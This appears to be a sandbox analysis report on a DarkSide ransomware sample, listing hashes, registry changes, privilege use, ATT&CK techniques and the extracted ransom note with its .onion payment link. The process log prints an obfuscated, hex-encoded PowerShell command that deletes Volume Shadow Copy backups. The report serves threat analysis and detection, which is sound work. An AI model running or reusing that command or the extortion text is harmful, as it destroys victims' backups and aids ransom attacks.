darkside | 0f808fd3ecf9d722aafeee46b57aad4d07f39c98be6f6148be979ed470cf0a99

Resubmissions

27-01-2024 19:37

240127-yb5pksafd3 10

27-01-2024 19:36

240127-ybqwesafc2 10

12-05-2021 15:56

210512-db4t7vmwas 10

Analysis

max time kernel
91s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
27-01-2024 19:37

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Report Analysis Logs

General

Target

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Size

59KB
MD5

0ed51a595631e9b4d60896ab5573332f
SHA1

7ae73b5e1622049380c9b615ce3b7f636665584b
SHA256

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60
SHA512

9bfd6318b120c05d9a42a456511efc59f2be5ad451baa6d19d5de776e2ff74dbee444c85478ee7cfdbf705517cc147cd64c6814965f76c740fe1924594a37cb5
SSDEEP

768:vjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1yl3RYY23W58:0x7Fu4/ihrhDTV1ylhZ58

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\README.5ded7e5f.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide - I-D Foods Corporation] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW When you open our website, put the following data in the input form: Key: 9NtjyWHbqWYTbhBpJ2ht4tKo7DQgTGmQ4IGHCFvgjiSMTNopVgQ9YIh9KRWkQgmvxviZtJGOakzykMzWKRgxwf2pCxpdMT8iGlKcsSOsxVOUXIGEgpy6tLqliTTEKWnohcYOhCF3DYMePMxEYa0eCmED1EXEG5QOZCpmkgDl5s5VSUF5uhnKsunUtKGS24iEAr2hxsJ1zMcMHmKVrf3bvRyhYVKXwlXVggxE7ncowldcK3v3CiKC24jKVd6OH5QrhVyyQLrFM5RE3Y0RcTeRTIqf1J5CIEhTiG3TH7SEpws4wfkt9RZ7rBWT4n3B69Z9JuPzyFCBwPKF7gTzEYzixIGzFbJyLSZXff9ryv3yL3JeKywAcoBafos0dLSkRgf1X1a1S2ud4kXa5GRU4W7rhCQsnJ8vAcv1AXaPRq9ESySBWQdGCQMSci0ex0oE4EfCDW3jjyXtaPofqNFhibodJFmOyTKwie1OcW6Kh6Ih6JxXXfUXr4VbRILzsiPXsOTTisDaEicID1E0SJRluBus2UhPyogJiZ7UpmUu9LUe3yAi3Bhox3pLv8E !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (152) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\5ded7e5f.BMP"	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\5ded7e5f.BMP"	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\Desktop\WallpaperStyle = "10"	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

Modifies registry class 5 IoCs

Processes:

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\5ded7e5f\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\5ded7e5f.ico"	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.5ded7e5f	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.5ded7e5f\ = "5ded7e5f"	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\5ded7e5f\DefaultIcon	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\5ded7e5f	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exe243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

pid	process
1900	powershell.exe
1900	powershell.exe
1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeSecurityPrivilege	1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeTakeOwnershipPrivilege	1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeLoadDriverPrivilege	1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeSystemProfilePrivilege	1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeSystemtimePrivilege	1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeProfSingleProcessPrivilege	1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeIncBasePriorityPrivilege	1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeCreatePagefilePrivilege	1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeBackupPrivilege	1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeRestorePrivilege	1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeShutdownPrivilege	1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeDebugPrivilege	1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeSystemEnvironmentPrivilege	1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeRemoteShutdownPrivilege	1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeUndockPrivilege	1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeManageVolumePrivilege	1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: 33	1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: 34	1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: 35	1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: 36	1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Token: SeDebugPrivilege	1900	powershell.exe
Token: SeBackupPrivilege	5004	vssvc.exe
Token: SeRestorePrivilege	5004	vssvc.exe
Token: SeAuditPrivilege	5004	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe

description	pid	process	target process
PID 1680 wrote to memory of 1900	1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe	powershell.exe
PID 1680 wrote to memory of 1900	1680	243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
"C:\Users\Admin\AppData\Local\Temp\243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe"
1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1680

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1900

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5004

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Defacement

T1491

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
71444def27770d9071039d005d0323b7

SHA1
cef8654e95495786ac9347494f4417819373427e

SHA256
8438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9

SHA512
a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_053fjk1c.11k.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\README.5ded7e5f.TXT
Filesize
1KB

MD5
d4e176b40c4ea17f4870c34fad926d6e

SHA1
2cc3e4c6cf00e4a2ac0e16e9f7b0ccf2421b92e0

SHA256
7ee422c323ddbda59934ed7bfa6217cfe06bdb50165b7d4b6115475f1df7af0c

SHA512
feaa913ae99db210db088423a9813e1efedd89d80817bf485a4d9f8ea349b86932ac16ba0473bd224ff150603507bd289d01aebc1a702372a076a167b632f471

Download Submit
memory/1900-6-0x00000221509F0000-0x0000022150A12000-memory.dmp

Filesize
136KB

Download
memory/1900-12-0x0000022136730000-0x0000022136740000-memory.dmp

Filesize
64KB

Download
memory/1900-13-0x0000022136730000-0x0000022136740000-memory.dmp

Filesize
64KB

Download
memory/1900-14-0x0000022136730000-0x0000022136740000-memory.dmp

Filesize
64KB

Download
memory/1900-11-0x00007FFCA0990000-0x00007FFCA1451000-memory.dmp

Filesize
10.8MB

Download
memory/1900-17-0x00007FFCA0990000-0x00007FFCA1451000-memory.dmp

Filesize
10.8MB

Download